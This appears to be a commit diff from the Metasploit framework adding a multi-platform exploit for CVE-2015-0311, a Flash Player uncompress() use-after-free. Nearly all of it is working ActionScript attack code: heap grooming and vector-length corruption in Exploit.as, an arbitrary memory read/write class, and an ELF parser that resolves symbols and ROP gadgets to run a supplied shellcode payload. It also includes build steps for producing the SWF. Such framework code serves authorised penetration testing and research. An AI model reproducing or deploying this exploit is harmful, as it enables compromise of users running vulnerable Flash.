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Land rapid7#5401, multi-platform CVE-2015-0311 - Flash uncompress() UAF
2 parents c201955 + f35d7a8 commit eb5aadf

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‎data/exploits/CVE-2015-0311/msf.swf

100755100644
2.61 KB
Binary file not shown.

‎external/source/exploits/CVE-2015-0311/Elf.as

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package
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{
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public class Elf
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{
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private const PT_DYNAMIC:uint = 2
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private const PT_LOAD:uint = 1
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private const PT_READ_EXEC:uint = 5
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private const DT_SYMTAB:uint = 6
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private const DT_STRTAB:uint = 5
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private const DT_PLTGOT:uint = 3
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private var e_ba:ExploitByteArray
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// elf base address
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public var base:uint = 0
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// program header address
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public var ph:uint = 0
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// number of program headers
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public var ph_size:uint = 0
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// program header entry size
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public var ph_esize:uint = 0
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// DYNAMIC segment address
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public var seg_dynamic:uint = 0
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// DYNAMIC segment size
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public var seg_dynamic_size:uint = 0
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// CODE segment address
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public var seg_exec:uint = 0
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// CODE segment size
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public var seg_exec_size:uint = 0
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// .dynsyn section address
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public var sec_dynsym:uint = 0
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// .synstr section address
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public var sec_dynstr:uint = 0
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// .got.plt section address
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public var sec_got_plt:uint = 0
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public function Elf(ba:ExploitByteArray, addr:uint)
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{
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e_ba = ba
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set_base(addr)
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set_program_header()
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set_program_header_size()
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set_program_header_entry_size()
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set_dynamic_segment()
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set_exec_segment()
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set_dynsym()
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set_dynstr()
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set_got_plt()
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}
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public function external_symbol(name:String):uint {
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var entry:uint = 0
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var st_name:uint = 0
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var st_value:uint = 0
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var st_size:uint = 0
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var st_info:uint = 0
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var st_other:uint = 0
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var st_shndx:uint = 0
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var st_string:String = ""
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var got_plt_index:uint = 0
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for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
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entry = sec_dynsym + 0x10 + (i * 0x10)
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st_name = e_ba.read(entry)
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st_value = e_ba.read(entry + 4)
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st_info = e_ba.read(entry + 0xc, "byte")
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st_string = e_ba.read_string(sec_dynstr + st_name)
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if (st_string == name) {
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return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
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}
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if (st_info != 0x11) {
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got_plt_index++
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}
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}
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throw new Error()
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}
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public function symbol(name:String):uint {
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var entry:uint = 0
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var st_name:uint = 0
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var st_value:uint = 0
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var st_size:uint = 0
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var st_info:uint = 0
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var st_other:uint = 0
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var st_shndx:uint = 0
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var st_string:String = ""
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for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
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entry = sec_dynsym + 0x10 + (i * 0x10)
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st_name = e_ba.read(entry)
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st_value = e_ba.read(entry + 4)
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st_info = e_ba.read(entry + 0xc, "byte")
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st_string = e_ba.read_string(sec_dynstr + st_name)
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if (st_string == name) {
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return base + st_value
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}
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}
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throw new Error()
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}
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public function gadget(gadget:String, hint:uint):uint
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{
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var value:uint = parseInt(gadget, 16)
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var contents:uint = 0
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for (var i:uint = 0; i < seg_exec_size - 4; i++) {
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contents = e_ba.read(seg_exec + i)
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if (hint == 0xffffffff && value == contents) {
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return seg_exec + i
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}
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if (hint != 0xffffffff && value == (contents & hint)) {
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return seg_exec + i
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}
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}
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throw new Error()
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}
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private function set_base(addr:uint):void
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{
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addr &= 0xffff0000
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while (true) {
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if (e_ba.read(addr) == 0x464c457f) {
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base = addr
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return
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}
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addr -= 0x1000
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}
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throw new Error()
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}
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private function set_program_header():void
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{
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ph = base + e_ba.read(base + 0x1c)
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}
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private function set_program_header_size():void
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{
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ph_size = e_ba.read(base + 0x2c, "word")
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}
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private function set_program_header_entry_size():void
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{
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ph_esize = e_ba.read(base + 0x2a, "word")
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}
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private function set_dynamic_segment():void
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{
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var entry:uint = 0
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var p_type:uint = 0
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for (var i:uint = 0; i < ph_size; i++) {
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entry = ph + (i * ph_esize)
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p_type = e_ba.read(entry)
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if (p_type == PT_DYNAMIC) {
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seg_dynamic = base + e_ba.read(entry + 8)
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seg_dynamic_size = e_ba.read(entry + 0x14)
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return
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}
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}
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throw new Error()
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}
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private function set_exec_segment():void
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{
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var entry:uint = 0
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var p_type:uint = 0
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var p_flags:uint = 0
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for (var i:uint = 0; i < ph_size; i++) {
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entry = ph + (i * ph_esize)
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p_type = e_ba.read(entry)
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p_flags = e_ba.read(entry + 0x18)
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if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
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seg_exec = base + e_ba.read(entry + 8)
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seg_exec_size = e_ba.read(entry + 0x14)
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return
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}
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}
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throw new Error()
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}
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private function set_dynsym():void
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{
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var entry:uint = 0
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var s_type:uint = 0
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for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
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entry = seg_dynamic + i
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s_type = e_ba.read(entry)
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if (s_type == DT_SYMTAB) {
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sec_dynsym = e_ba.read(entry + 4)
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return
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}
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}
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throw new Error()
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}
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private function set_dynstr():void
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{
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var entry:uint = 0
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var s_type:uint = 0
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for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
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entry = seg_dynamic + i
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s_type = e_ba.read(entry)
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if (s_type == DT_STRTAB) {
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sec_dynstr = e_ba.read(entry + 4)
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return
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}
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}
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throw new Error()
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}
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private function set_got_plt():void
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{
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var entry:uint = 0
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var s_type:uint = 0
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for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
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entry = seg_dynamic + i
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s_type = e_ba.read(entry)
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if (s_type == DT_PLTGOT) {
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sec_got_plt = e_ba.read(entry + 4)
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return
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}
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}
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throw new Error()
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}
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}
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}

‎external/source/exploits/CVE-2015-0311/Exploit.as

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// Build how to:
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// 1. Download the AIRSDK, and use its compiler.
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// 3. Download the Flex SDK (4.6)
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// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
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// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
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// 5. Build with: mxmlc -o msf.swf Exploit.as
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// Original exploit by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
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package
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{
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import flash.display.Sprite
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import flash.display.LoaderInfo
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import flash.system.ApplicationDomain
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import flash.utils.ByteArray
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import avm2.intrinsics.memory.*
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import flash.external.ExternalInterface
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import mx.utils.Base64Decoder
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public class Exploit extends Sprite
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{
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private var data:uint = 0xdeaddead
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private var uv:Vector.<uint> = new Vector.<uint>
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private var ba:ByteArray = new ByteArray()
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private var exploiter:Exploiter
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private var b64:Base64Decoder = new Base64Decoder()
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private var payload:String
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private var platform:String
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public function Exploit()
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{
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platform = LoaderInfo(this.root.loaderInfo).parameters.pl
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b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
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payload = b64.toByteArray().toString();
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// defrag
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for (var i:uint = 0; i < 10000; i++) new Vector.<uint>(0x3e0)
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for (i = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
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ba.compress()
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ApplicationDomain.currentDomain.domainMemory = ba
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ba.position = 0x200
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for (i = 0; i < ba.length - ba.position; i++) ba.writeByte(00)
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try {
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ba.uncompress()
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} catch (e:Error) { }
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uv = new Vector.<uint>(0x3e0)
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uv[0] = 0
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var test:uint = li32(0)
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if (test == 0x3e0) {
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si32(0xffffffff, 0) // corrupted
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} else {
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Logger.log('[*] Exploit - corruption fail: ' + test.toString(16))
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return // something failed
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}
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exploiter = new Exploiter(this, platform, payload, uv)
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}
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}
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}
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‎external/source/exploits/CVE-2015-0311/ExploitByteArray.as

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package
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{
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import flash.utils.ByteArray
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public class ExploitByteArray
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{
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private const MAX_STRING_LENGTH:uint = 100
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public var ba:ByteArray
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public var original_length:uint
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private var platform:String
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public function ExploitByteArray(p:String, l:uint = 1024)
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{
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ba = new ByteArray()
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ba.length = l
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ba.endian = "littleEndian"
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ba.writeUnsignedInt(0)
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platform = p
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original_length = l
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}
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public function set_length(length:uint):void
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{
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ba.length = length
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}
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public function get_length():uint
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{
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return ba.length
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}
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public function lets_ready():void
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{
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Logger.log("[*] ExploitByteArray - lets_ready()")
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ba.endian = "littleEndian"
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if (platform == "linux") {
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ba.length = 0xffffffff
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}
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}
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public function is_ready():Boolean
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{
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Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16))
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if (ba.length == 0xffffffff)
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return true
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return false
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}
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public function read(addr:uint, type:String = "dword"):uint
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{
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ba.position = addr
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switch(type) {
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case "dword":
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return ba.readUnsignedInt()
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case "word":
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return ba.readUnsignedShort()
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case "byte":
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return ba.readUnsignedByte()
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}
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return 0
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}
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public function read_string(addr:uint, length:uint = 0):String
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{
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ba.position = addr
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if (length == 0)
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return ba.readUTFBytes(MAX_STRING_LENGTH)
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else
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return ba.readUTFBytes(length)
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}
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public function write(addr:uint, value:* = 0, zero:Boolean = true):void
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{
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if (addr) ba.position = addr
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if (value is String) {
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for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
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if (zero) ba.writeByte(0)
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} else ba.writeUnsignedInt(value)
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}
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}
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}

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